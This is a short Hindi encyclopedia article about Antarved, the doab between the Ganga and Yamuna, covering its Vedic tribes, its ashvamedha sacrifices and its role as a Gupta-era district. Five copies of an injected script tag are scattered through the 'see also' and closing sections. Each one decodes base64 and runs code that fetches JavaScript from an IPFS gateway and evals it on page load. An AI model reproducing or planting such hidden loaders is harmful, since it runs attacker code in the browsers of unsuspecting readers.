अंतर्वेद
अंतर्वेद अथवा 'अंतर्वेदी' से अभिप्राय उस विस्तृत भू-खंड से है, जो गंगा और यमुना के बीच हरिद्वार से प्रयाग तक फैला हुआ था। यह एक समृद्ध दोआब प्रदेश था।[1] 'अंतर्वेदी' नाम प्राचीन संस्कृत अभिलेखों में प्राप्त है।
- वैदिक काल से बहुत पीछे तक इस दोआब में निरंतर यज्ञादि होते आए थे।
- अंतर्वेद में वैदिक काल से ही उशीनर, पंचाल तथा वत्स अथवा वंश बसते थे।
- यहाँ से पूर्व की ओर लगे कोसल तथा काशी जनपद थे।
- अंतर्वेद की पश्चिमी तथा दक्षिणी सीमाओं पर 'कुरु', 'शूरसेन' तथा 'चेदि' आदि का आवास था।
- ऐतिहासिक युग में इस प्रदेश में कई 'अश्वमेध यज्ञ' सम्पन्न हुए थे, जिनमें समुद्रगुप्त का यज्ञ बड़े महत्व का था।
- गुप्त काल की शासन व्यवस्था के अनुसार अंतर्वेद गुप्त साम्राज्य का 'विषय' या 'ज़िला' था।
- स्कंदगुप्त के समय अंतर्वेद का विषयपति शर्वनाग स्वयं सम्राट द्वारा नियुक्त किया गया था। स्कंदगुप्त के इंदौर से प्राप्त अभिलेख में अंतर्वेदिविषय (ज़िला) के शासक शर्वनाग का उल्लेख है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: गुप्त वंश, गुप्त काल एवं गुप्तकालीन कला और स्थापत्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>